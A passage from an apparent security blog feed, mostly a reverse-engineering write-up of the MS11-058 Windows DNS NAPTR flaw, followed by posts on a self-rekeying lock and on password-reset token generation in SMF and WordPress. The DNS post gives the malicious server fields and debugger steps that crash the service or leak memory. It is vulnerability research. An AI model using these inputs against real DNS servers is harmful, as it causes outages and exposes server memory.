buffer_add_int8(answer, strlen(regex)); <span class="Comment">/*</span><span class="Comment"> Regex. </span><span class="Comment">*/</span>
buffer_add_string(answer, regex);

buffer_add_dns_name(answer, replace);
answer_string = buffer_create_string_and_destroy(answer, &amp;answer_length);

dns_add_answer_RAW(response, answer_string, answer_length);
</pre>
<p>It's not pretty, but it did the trick. After that, I compile it and run it. At this point, it'll simply start a server that waits for NAPTR requests and respond with a static packet no matter what the request was. </p>
<h2>Debugger</h2>
<p>Now, we fire up Windbg. If you ever use Windbg for debugging, make sure you check out <a href='http://Windbg.info'>Windbg.info</a> - it's an amazing resource. </p>
<p>When Windbg loads, we hit F6 (or go to file-&gt;attach to process). We find dns.exe in the list and select it:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-11-attach.png'></p>
<p>Once that's fired up, I run !peb to get the base address of the process (there are, of course, other ways to do this). The command should look like this:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-12-base-address.png'></p>
<p>Back in IDA, rebase the program by using edit-&gt;segments-&gt;rebase program, and set the image base address to 0x00ea0000:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-13-change-base-address.png'><br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-14-change-base-address-2.png'></p>
<p>This way, the addresses in Windbg and IDA will match up properly. Now, go back to that movsx we were looking at earlier - it should now be at 0x00ed8b38 in the vulnerable version. Throw a breakpoint on that address in Windbg with 'bp' and start the process with 'g' (or press F5):</p>
<pre>
  &gt; bp ed8b38
  &gt; g
</pre>
<p>Then perform a lookup on the target server (in my case I'm doing this from a Linux host using the dig command, and my vulnerable DNS server is at 192.168.1.104):</p>
<pre>
  $ dig @192.168.1.104 -t NAPTR +time=60 test.com
</pre>
<p>(the +time=60 ensures that it doesn't time out right away)</p>
<p>In Windbg, the breakpoint should fire:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-16-dig.png'></p>
<p>Now, recall that the vulnerable command is this:</p>
<pre>
  movsx edi, byte ptr [ebx]
</pre>
<p>So we'd naturally like to find out what's in ebx. We do this with the windbg command 'db ebx' (meaning display bytes at ebx):<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-18-bytes.png'></p>
<p>Beautiful! ebx points to the length byte for 'flags'. In our case, we set the flags to the string 'flags', which is represented as the character string "\x05flags" (where "\x05" is the byte '5', the string's size). If we hit 'g' or press 'F5' again, it'll break a second time. This time, if you run 'db ebx' you'll see it sitting on "\x07service". If you hit F5 again, not surprisingly, you'll end up on "\x3ethis is a really really long ...". And finally, if you hit F5 one more time, the program will keep running and, if you did this in under 60 seconds, dig will get its response.</p>
<p>So what have we learned? The vulnerable call to movsx happens three times - on the one-byte size values of flags, service, and regex. </p>
<h2>Let's break something!</h2>
<p>All right, now that we know what's going on, this should be pretty easy to break! Yay! Let's try sending it a string that's over 0x80 bytes long:</p>
<pre>
        <span class="Type">char</span> *flags   = <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>
                        <span class="Constant">&quot;AAAAAAAAAAAAAAAA&quot;</span>;
        <span class="Type">char</span> *service  = <span class="Constant">&quot;service&quot;</span>;
        <span class="Type">char</span> *regex   = <span class="Constant">&quot;regex&quot;</span>;
        <span class="Type">char</span> *replace = <span class="Constant">&quot;my.test.com&quot;</span>;
</pre>
<p>Then compile it, start the service again, and send our NAPTR lookup with dig, exactly as before. Don't forget to clear your breakpoints in Windbg, too, using 'bc *' (breakpoint clear, all). </p>
<p>After the lookup, the dns.exe service should crash:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-22-crash.png'></p>
<p>Woohoo! It crashed in a 'rep movs' call, which is in memcpy(). No surprise there, since we were expecting to pass a huge integer (0x90 became 0xFFFFFF90, which is around 4.2 billion) to a memcpy function. </p>
<p>If we check out edi (the destination of the copy), we'll find it's unallocated memory, which is what caused the crash. If we check out ecx, the size of the copy, we'll see that it's 0x3fffff6e - way too big:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-23-crash-reason.png'> </p>
<p>Restart the DNS service, re-attach the debugger, and let's move on to something interesting... </p>
<h2>The good part</h2>
<p>Now we can crash the process. Kinda cool, but whatever. This is as far as others investigating this issue seemed to go. But, they missed something very important:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-24-plus-one.png'></p>
<p>See there? Line 0x00ed8b3b? lea eax, [edi + 1]. edi is the size, and eax is the value passed to memcpy. See what's happening? It's adding 1 to the size! That means that if we pass a size of 0xFF ("-1" represented as one byte), it'll get extended to 0xFFFFFFFF ("-1" represented as 4 bytes), and then, on that line, eax becomes -1 + 1, or 0. Then the memcpy copies 0 bytes. </p>
<p>That's great, but what's that mean?</p>
<p>Let's reconfigure out NAPTR server again to return exactly 0xFF bytes:</p>
<pre>
        <span class="Type">char</span> *flags   = <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>
                        <span class="Constant">&quot;QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ&quot;</span>;
        <span class="Type">char</span> *service  = <span class="Constant">&quot;service&quot;</span>;
        <span class="Type">char</span> *regex   = <span class="Constant">&quot;regex&quot;</span>;
        <span class="Type">char</span> *replace = <span class="Constant">&quot;my.test.com&quot;</span>;
</pre>
<p>Then run it as before. This time, when we do our dig, the server doesn't crash! Instead, we get a weird response:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-26-test-run.png'></p>
<p>We get an answer back, but not a valid NAPTR answer! The answer has the flags of "\x03\x02my\x04test\x03com", but no service, regex, or replace. Weird! </p>
<p>Now, at this point, we have enough for a vulnerability check, but I wanted to go further, and to find out how exactly this was returning such a weird result (and, more importantly, whether we can assume that it'll be consistent)! </p>
<p>So, let's take a look at the vulnerable code again. Go back to NaptrPtrRead() and find the vulnerable movsx:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-27-vuln-loop.png'></p>
<p>You can quickly see that this is a simple loop. var_10C is a counter set to 3, the size at [ebx] (the length of the flags) is read, that many bytes is copied from ebx (the incoming packet) to esi (the place where the answer is stored). Then the counter is decremented, and both the source and destination are moved forward by that many bytes plus one (for the length), and it repeats twice - once for service, and once for regex. </p>
<p>If we set the length of flags to 0xFF, then 0 bytes are copied and the source and destination don't change. So esi, the answer, remains an empty buffer. </p>
<p>Just below that, you'll see this:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-28-next-part.png'></p>
<p>The source and destination are the same as before, and they call a function called _Name_CopyCountName(). That's actually a fairly complicated function, and I didn't reverse it much. I just observed how it worked. One thing that was obvious is that it read the fourth and final string in the NAPTR record - the one called "replacement", which is a domain name rather than a length-prefixed string like the rest. </p>
<p>Essentially, it'd set esi to a string that looked like this:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-29-memory.png'></p>
<p>the 0x0d at the start is obviously the length of the string; the 0x03 following is the number of fields coming ("my", "test", and "com" = 3 fields), and the rest of the string is the domain name formatted as it usually is - the size of each field followed by the field. </p>
<p>Another interesting note is, this is the exact value that the DNS request got earlier (minus the 0x0d at the start) - "\x03\x02my\x04test\x03com"! </p>
<p>At this point, I understood exactly what was happening. As we've seen, there are supposed to be four strings - flags, service, regex, and replacement. The first three are (character-string) values, and are all read the same way. The last one is a (domain-name) value, and is read using _Name_CopyCountName(). </p>
<p>When we send a length of 0xFF, the first three strings don't get read - the buffer stays blank - and only the domain name is processed properly. Then, later, when the strings are sent back to the server, it expects the 'flags' value to be the first value in the buffer, but, because it read 0 bytes for flags, it skips flags and reads the 'replacement' value - the (domain-name) - as if it were flags. That gets returned and it reads the 'service', the 'regex', and the 'replacement' fields - all of which are blank. </p>
<p>The response is sent to the server with the 'flags' value set to the 'replacement' and everything else set to blank. Done?</p>
<h2>The plot thickens</h2>
<p>I thought I understood this vulnerability completely now. It was interesting, fairly trivial to check for, and impossible to exploit (beyond a denial of service). The perfect vulnerability! I wrote the Nessus check and tested it again Windows 2008 x86, Windows 2008 x64, and Windows 2008 R2 x64. Against Windows 2008 x64, the result was different - it was "\x03\x02my\x04test\x03com\x00\x00\x00\x00". That was weird. I tried changing the domain name from "my.test.com" to "my.test.com.a". It returned the string I expected. Then I set it to "my.test.com.a.b.c", and it returned a big block of memory including disk information (the drive c: label). Wtf? I tried a few more domain names, and none of them, including "my.test.com.a.b.c", returned anything unusual. I couldn't replicate it! Now I *knew* that something was up! </p>
<p>To demonstrate this reliably, I can set the 'replacement' value of the response to 'my.test.com.aaaaaaaaaaaaa' and get the proper response:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-30-weird-results-1.png'></p>
<p>And then set it to 'my.test.com.aaaaaaa' and get a weird response:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-33-weird-results-4.png'></p>
<p>Rather than just the simple string we usually get back, we got the simple string, the 7 'a' bytes that we added, then a null, then 11 more 'a' values and 0x59 "\x00" bytes. So, that's proof that something strange is happening, but what?</p>
<h2>The investigation</h2>
<p>If you head back to the NaprWireRead function and go to line 0xed8b61, you'll see the call to _Name_CopyCountName():<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-34-read.png'></p>
<p>That's where the string is copied into the buffer - esi. What we want to do is track down where that value is read back out of the buffer, because there's obviously something gone amiss there. So, we put a breakpoint at 0xed8b66 - the line after the name is copied to memory - using the 'bp' command in Windbg:<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-35-break.png'></p>
<p>Then we run it, and make a NAPTR request. It doesn't matter what the request is, this time - we just want to find out where the message is read. When it breaks, as shown above, we check what the value at esi is. As expected, it's the encoded 'replacement' string - the length, the number of fields, and the replacement (domain-name) value. </p>
<p>We run 'ba r4 esi' - this sets a breakpoint on access when esi (or the three bytes after esi) are read. Then we use 'g' or 'F5' to start the process once again. </p>
<p>Immediately, it'll break again - this time, at 0xed5935 - in NaptrWireWrite()! Since the packet is read in NaptrWireRead(), it makes sense that it's sent back out in NaptrWireWrite. Awesome! </p>
<p>The code powering NaptrWireWrite() is actually really simple. This is all the relevant code (don't worry too much about the colours - I just like colouring code as I figure things out :) ):<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-37-write_loop.png'></p>
<p>Here, it reads the length of the first field from [esi] - which, in our 'attack', is the length of the 'replacement' value, not the flags value like it ought to be. It uses memcpy to copy that into a buffer, using the user-controlled length. then it loops. The second time, it's going to read the null byte (\x00) that's immediately after the 'replacement' value. The third time, it's going to read the byte following that null byte. What's there? We'll get to that in a second. </p>
<p>Then, after it loops three times, it calls _Name_WriteCountNameToPacketEx(), passing it the remainder of the buffer. Again, what's that value?</p>
<p>Let's stick a breakpoint on 0xed5935 - the memcpy - and see what the three values are. First, for 'my.test.com.aaaaaaa':<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-38-my.test.com.aaaaaaaaaaa.png'></p>
<p>As we can see, the first field is, as expected, the 'replacement' value - my.test.com.aaaaaaaaaaa. The second value is blank, and the third value is blank. The result is going to be the usual "\x03\x02my\x04test\x03com". No problem! Now let's do a lookup for "my.test.com.a":<br />
<img src='http://www.skullsecurity.org/blogdata/ms11-058-39-badmemory.png'></p>
<p>The first one is, as usual, the 'replacement' value. The second memcpy starts with the 0x00 byte at the end, and copies 0 bytes. But the third one starts on 0x61 - that's one of the 'a' values from the previous packet! - and copies 0x61 bytes into the buffer. Then _Name_WriteCountNameToPacketEx() is called 0x61 bytes after on whatever happens to be there. </p>
<h2>What's it all mean?</h2>
<p>What's this mean? And why should we care?</p>
<p>Well, it turns out that this vulnerability, in spite of its original innocuous appearance, is actually very interesting. We can pass 100% user-controlled values into memcpy - unfortunately, it's a one-byte size value. Additionally, we can pass 100% user-controlled values into a complicated function that does a bunch of pointer arithmatic - _Name_WriteCountNameToPacketEx()! I reversed that full function, but I couldn't see any obvious points where I could gain control. </p>
<p>Given enough time and thought, though, I'm reasonably confident that you can turn this into a standard heap overflow. A heap overflow on Windows 2008 would be difficult to exploit, though. But there are some other quirks that may help - _Name_WriteCountNameToPacketEx() does some interesting operations, like collapsing matching domain names into pointers - 'c0 0c' will look familiar if you've ever worked with DNS before. </p>
<p>So, is this exploitable? I'm not sure. Is it definitely NOT exploitable? I wouldn't say so. When you can start passing user-controlled values into functions that expect tightly-controlled pointer values, that's when the fun starts. :)</p>
<h2>Conclusion</h2>
<p>I hope you were able to follow along, and I hope that the real exploit devs out there read this and can take it a step further. I'd be very interested in whether this vulnerability can be taken to the next level! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/a-deeper-look-at-ms11-058/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Locks that can re-key themselves?</title>
		<link>http://www.skullsecurity.org/blog/2011/locks-that-can-re-key-themselves</link>
		<comments>http://www.skullsecurity.org/blog/2011/locks-that-can-re-key-themselves#comments</comments>
		<pubDate>Wed, 20 Apr 2011 13:56:55 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Reverse Engineering]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1134</guid>
		<description><![CDATA[Hey everybody, As I'm sure you all know, I normally post about IT security here. But, once in awhile, I like to take a look at physical security, even if it's just in jest. Well, this time it isn't in jest. I was at Rona last week buying a lead/asbestos/mold-rated respirator (don't ask!), when I [...]]]></description>
			<content:encoded><![CDATA[<p>Hey everybody,</p>
<p>As I'm sure you all know, I normally post about IT security here. But, once in awhile, I like to take a look at <a href='http://www.skullsecurity.org/blog/2009/two-locks-one-bike'>physical security</a>, even if it's just in jest. </p>
<p>Well, this time it isn't in jest. I was at Rona last week buying a lead/asbestos/mold-rated respirator (don't ask!), when I took a walk down the lock aisle. I'm tired of all my practice locks and was thinking of picking up something interesting. Then I saw it: a lock that advertised that it could re-key itself to any key. Woah! I had to play with it. </p>
<p>Now, maybe I'm an idiot (in fact, my best friends would swear it). But I hadn't ever heard of a lock that can do that before! So I did the obvious thing: I bought it, took it apart, figured out how it worked, then took pictures of everything. </p>
<h2>How it's used</h2>
<p>So, in normal use, this is what you do. </p>
<p>When you take it out of the package, it looks like a normal lock with an extra little hole in the side:<br />
<a href='/blogdata/rekey_1.jpg'><img src='/blogdata/rekey_1_small.jpg'></a></p>
<p>You stick in the proper key, turn it a 1/4 turn (so the key is horizontal), as shown here:<br />
<a href='/blogdata/rekey_2.jpg'><img src='/blogdata/rekey_2_small.jpg'></a></p>
<p>Then, in the little hole, you use the special "re-key" tool that it comes with:<br />
<a href='/blogdata/rekey_3.jpg'><img src='/blogdata/rekey_3_small.jpg'></a></p>
<p>Once the tool's been inserted, you can pull out the key:<br />
<a href='/blogdata/rekey_4.jpg'><img src='/blogdata/rekey_4_small.jpg'></a></p>
<p>At this point, the lock is in "re-key mode". I'll talk about how it works later, but you can now insert any key that matches the warding:<br />
<a href='/blogdata/rekey_5.jpg'><img src='/blogdata/rekey_5_small.jpg'></a></p>
<p>Turn it back to the original position:<br />
<a href='/blogdata/rekey_6.jpg'><img src='/blogdata/rekey_6_small.jpg'></a></p>
<p>And remove it:<br />
<a href='/blogdata/rekey_7.jpg'><img src='/blogdata/rekey_7_small.jpg'></a></p>
<p>Congratulations! The lock is now keyed to the new key instead of the old key. How the hell did that happen!?</p>
<h2>Vocabulary</h2>
<p>Just some quick definitions to help you follow (I'm stealing phrases from normal locks that shouldn't really apply to this one, but it's convenient):</p>
<p><strong>Key pins</strong> are the pins that touch the key</p>
<p><strong>Driver pins</strong> are the pins (in this case, with a saw-tooth) that don't touch the key</p>
<p><strong>Key cylinder</strong> is the half of the cylinder that you insert the key into (and that houses the key pins)</p>
<p><strong>Loose cylinder</strong> is the other half of the cylinder that I couldn't think of a good name for</p>
<p><strong>The bar</strong> is an oddly shaped metal bar that fits into the loose cylinder. </p>
<h2>How it works</h2>
<p>Naturally, the next thing I did was take the lock apart. As soon as I removed a couple bits that held it together, the whole cylinder slid out, fell on my desk, and all the little pieces went everywhere. An hour later, I got it re-assembled and working again, and this is what it looked like:<br />
<a href='/blogdata/rekey_8.jpg'><img src='/blogdata/rekey_8_small.jpg'></a><br />
Don't forget, you can click on the pictures for a bigger version! </p>
<p>Anyway, there are actually two half-cylinders (that I'm calling the key cylinder and the loose cylinder) held together by simply being in the lock, plus the bar across the back of one, 5 loose driver pins on the inside, and 5 key pins that can't easily be removed. </p>
<p><a href='/blogdata/rekey_9.jpg'><img src='/blogdata/rekey_9_small.jpg'></a></p>
<p>In that picture, there are two important details that I called out. First, the slot in the bottom of the loose cylinder fits into the '- - - - -' on the key cylinder. Second, the jagged part of the driver pins fits on a little hook on the key pins. Those two facts are important both for the re-key and the locking. </p>
<p>Here's a closeup of what I'm calling the driver pins:<br />
<a href='/blogdata/rekey_10.jpg'><img src='/blogdata/rekey_10_small.jpg'></a></p>
<p>Note that they have two grooves, one on the front and one on the back (for the purposes of the narrative, the front is on the right). The groove on the front, as we saw earlier, fits into the '- - - - -' pattern on the key cylinder. The groove on the back fits into the bar, shown above, that goes onto the back of the loose cylinder. </p>
<h2>Re-keying</h2>
<p>So let's look at how the re-key mechanism work! </p>
<p>First, recall that the driver pins have a groove that fits into a '- - - - -' on the lock:<br />
<a href='/blogdata/rekey_11.jpg'><img src='/blogdata/rekey_11_small.jpg'></a></p>
<p>In normal use, these pins freely move up and down beside the '-' marks. They're pulled up and down by the little hooks on the key pins. When the proper key is inserted, the grooves on all five pins will line up with (but DON'T hook onto) the five '-' marks:<br />
<a href='/blogdata/rekey_16.jpg'><img src='/blogdata/rekey_16_small.jpg'></a></p>
<p>Then the re-key tool is inserted:<br />
<a href='/blogdata/rekey_13.jpg'><img src='/blogdata/rekey_13_small.jpg'></a><a href='/blogdata/rekey_12.jpg'><img src='/blogdata/rekey_12_small.jpg'></a></p>
<p>This slides the groove on the driver pins onto the '-' marks. Not that this <strong>cannot happen</strong> if the key is the wrong one. That's an important part of the security. Here's what it looks like if the loose cylinder is removed (I only did two pins because setting this up is like balancing a coin on its side):<br />
<a href='/blogdata/rekey_17.jpg'><img src='/blogdata/rekey_17_small.jpg'></a></p>
<p>When you remove the key, the driver pins will rest in the "good" position - that is, in the position that lets the cylinder rotate and that lets it be re-keyed - thanks to the grooves they're now sitting on. The key pins, which are no longer hooked on the driver pins, will return to their original positions. </p>
<p>When you insert a new key, the key pins will return to a new position while the driver pins are still in the "good" position (that lets you re-key/unlock). </p>
<p>When you turn the key back, the driver pins will come off the '-' marks and wind up back on the key pins' grooves. But the location of the driver pins has changed - the key that lines up all the grooves is now the new key, not the old one! </p>
<p>This design is, in my opinion, brilliant! It's pretty straight forward, now, to see how it locks. </p>
<h2>Locking</h2>
<p>Now that we know how the pins work, as I said, the locking is actually pretty straight forward. Remember that bar along the back of the removable cylinder we saw earlier?<br />
<a href='/blogdata/rekey_10.jpg'><img src='/blogdata/rekey_10_small.jpg'></a></p>
<p>Well, that's the key (ha!) to this whole thing. </p>
<p>Basically, when no key or the wrong key is inserted, it stays locked in position jutting out from the cylinder:<br />
<a href='/blogdata/rekey_14.jpg'><img src='/blogdata/rekey_14_small.jpg'></a></p>
<p>When the proper key is inserted, it can be pushed back in:<br />
<a href='/blogdata/rekey_15.jpg'><img src='/blogdata/rekey_15_small.jpg'></a></p>
<p>This is because of the groove on the backs of the pins. The bar rests on the pins but can only be pushed in when the five grooves of the five pins are in the proper place. </p>
<p>And that's it! </p>
<h2>Security</h2>
<p>Based on what I've seen, it appears that these locks can likely be picked in two different ways. The standard way, using a tension wrench, has several issues:</p>
<ul>
<li>It's difficult to get the pick into the keyway due to the warding</li>
<li>Every pin is grooved along the back so it sets improperly all over the place</li>
<li>Because the key pins pull up the driver pins, you don't get the same feeling when the pins are setting</li>
</ul>
<p>I had another idea for picking, though, that I don't have the right tool to accomplish. The standard way is to turn the cylinder and relay on it causing the bar along the back to put pressure on the pins, but the pins have a sawtooth along the back to set falsely. That's difficult. However, if we put tension on the re-key hole, then we're pushing the pins towards the back of the lock onto the '- - - - -' lines. There's no security on the sides of the pin, so, in theory, it should pick a whole lot easier. And, once you've picked it, you'll be able to re-key and never pick it again. BAM! </p>
<p>Unfortunately, you need a thin tool that can maintain a constant pressure, and I can't think of anything like that. Any ideas?</p>
<p>Hope you enjoyed this somewhat non-standard posting! </p>
]]></content:encoded>
			<wfw:commentRss>http://www.skullsecurity.org/blog/2011/locks-that-can-re-key-themselves/feed</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>(Mostly) good password resets</title>
		<link>http://www.skullsecurity.org/blog/2011/mostly-good-password-resets</link>
		<comments>http://www.skullsecurity.org/blog/2011/mostly-good-password-resets#comments</comments>
		<pubDate>Thu, 24 Mar 2011 13:08:16 +0000</pubDate>
		<dc:creator>Ron Bowes</dc:creator>
				<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Passwords]]></category>

		<guid isPermaLink="false">http://www.skullsecurity.org/blog/?p=1088</guid>
		<description><![CDATA[Hey everybody! This is part 3 to my 2-part series on password reset attacks (Part 1 / Part 2). Overall, I got awesome feedback on the first two parts, but I got the same question over and over: what's the RIGHT way to do this? So, here's the thing. I like to break stuff, but [...]]]></description>
			<content:encoded><![CDATA[<p>Hey everybody!</p>
<p>This is part 3 to my 2-part series on password reset attacks (<a href='http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-1'>Part 1</a> / <a href='http://www.skullsecurity.org/blog/2011/hacking-crappy-password-resets-part-2'>Part 2</a>). Overall, I got awesome feedback on the first two parts, but I got the same question over and over: what's the RIGHT way to do this?</p>
<p>So, here's the thing. I like to break stuff, but I generally leave the fixing to somebody else. It's just safer that way, since I'm not really a developer or anything like that.  Instead, I'm going to continue the trend of looking at others' implementations by looking at three major opensource projects - WordPress, SMF, and MediaWiki. Then, since all of these rely on PHP's random number implementation to some extent, I'll take a brief look at PHP. </p>
<h2>SMF</h2>
<p><a href='http://www.simplemachines.org/'>SMF</a> 1.1.13 implements the password-reset function in Sources/Subs-Auth.php:</p>
<pre>
&nbsp;&nbsp;<font color="#80a0ff">// Generate a random password.</font>
&nbsp;&nbsp;<font color="#ff80ff">require_once</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">sourcedir</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;'<font color="#ffa0a0">/Subs-Members.php</font>'<font color="#ffa500">)</font>;
&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">newPassword</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;generateValidationCode<font color="#ffa500">()</font>;
&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">newPassword_sha1</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">sha1</font><font color="#ffa500">(</font><font color="#40ffff">strtolower</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">user</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">newPassword</font><font color="#ffa500">)</font>;</pre>
<p>Looking at Sources/Subs-Members.php, we find:</p>
<pre>
<font color="#80a0ff">// Generate a random validation code.</font>
<font color="#ff80ff">function</font>&nbsp;generateValidationCode<font color="#ffa500">()</font>
<font color="#ffa500">{</font>
&nbsp;&nbsp;<font color="#60ff60"><b>global</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">modSettings</font>;

&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">request</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;db_query<font color="#ffa500">(</font>'
<font color="#ffa0a0">&nbsp;&nbsp;&nbsp;&nbsp;SELECT RAND()</font>', <font color="#ffa0a0">__FILE__</font>, <font color="#ffa0a0">__LINE__</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;<font color="#60ff60"><b>list</b></font>&nbsp;<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">dbRand</font><font color="#ffa500">)</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#40ffff">mysql_fetch_row</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">request</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;<font color="#40ffff">mysql_free_result</font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">request</font><font color="#ffa500">)</font>;

&nbsp;&nbsp;<font color="#ffff60"><b>return</b></font>&nbsp;<font color="#40ffff">substr</font><font color="#ffa500">(</font><font color="#40ffff">preg_replace</font><font color="#ffa500">(</font>'<font color="#ffa0a0">/\W/</font>', '', <font color="#40ffff">sha1</font><font color="#ffa500">(</font><font color="#40ffff">microtime</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#40ffff">mt_rand</font><font color="#ffa500">()</font>&nbsp;<font color="#ffff60"><b>.</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">dbRand</font>&nbsp;<font color="#ffff60"><b>.</b></font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">modSettings</font><font color="#ffa500">[</font>'<font color="#ffa0a0">rand_seed</font>'<font color="#ffa500">]))</font>, <font color="#ffa0a0">0</font>, <font color="#ffa0a0">10</font><font color="#ffa500">)</font>;
<font color="#ffa500">}</font>
</pre>
<p>Which is pretty straight forward, but also, in my opinion, very strong. It takes entropy from a bunch of different places:</p>
<ul>
<li>The current time (microtime())</li>
<li>PHP's random number generator (mt_rand())</li>
<li>MySQL's random number generator ($dbRand)</li>
<li>A user-configurable random seed</li>
</ul>
<p>Essentially, it puts these difficult-to-guess values through a cryptographically secure function, sha1(), and takes the first 10 characters of the hash. </p>
<p>The hash consists of lowercase letters and numbers, which means there are 36 possible choices for 10 characters, for a total of 36<sup>10</sup> or 3,656,158,440,062,976 possible outputs. That isn't as strong as it *could* be, since there's no reason to limit its length to 10 characters (or its character set to 36 characters). That being said, three quadrillion different passwords would be nearly impossible to guess. (By my math, exhaustively cracking all possible passwords, assuming md5 cracks at 5 million guesses/second, would take about 23 CPU-years). Not that cracking is terribly useful - remote bruteforce guessing is much more useful and is clearly impossible.</p>
<p>SMF is my favourite implementation of the three, but let's take a look at WordPress!</p>
<h2>WordPress</h2>
<p><a href='http://wordpress.org/'>WordPress</a> 3.1 implements the password-reset function in wp-login.php:</p>
<pre>
&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">key</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wpdb</font><font color="#60ff60"><b>-&gt;</b></font>get_var<font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">wpdb</font><font color="#60ff60"><b>-&gt;</b></font>prepare<font color="#ffa500">(</font>&quot;<font color="#ffa0a0">SELECT user_activation_key FROM</font>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">wpdb</font><font color="#60ff60"><b>-&gt;</b></font>users<font color="#ffa0a0">&nbsp;WHERE user_login = %s</font>&quot;, <font color="#ffff60"><b>$</b></font><font color="#40ffff">user_login</font><font color="#ffa500">))</font>;
&nbsp;&nbsp;<font color="#ffff60"><b>if</b></font>&nbsp;<font color="#ffa500">(</font>&nbsp;<font color="#ffff60"><b>empty</b></font><font color="#ffa500">(</font><font color="#ffff60"><b>$</b></font><font color="#40ffff">key</font><font color="#ffa500">)</font>&nbsp;<font color="#ffa500">)</font>&nbsp;<font color="#ffa500">{</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#80a0ff">// Generate something random for a key...</font>
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#ffff60"><b>$</b></font><font color="#40ffff">key</font>&nbsp;<font color="#ffff60"><b>=</b></font>&nbsp;wp_generate_password<font color="#ffa500">(</font><font color="#ffa0a0">20</font>, <font color="#ffa0a0">false</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;do_action<font color="#ffa500">(</font>'<font color="#ffa0a0">retrieve_password_key</font>', <font color="#ffff60"><b>$</b></font><font color="#40ffff">user_login</font>, <font color="#ffff60"><b>$</b></font><font color="#40ffff">key</font><font color="#ffa500">)</font>;
&nbsp;&nbsp;&nbsp;&nbsp;<font color="#80a0ff">// Now insert the new md5 key into the db</font>
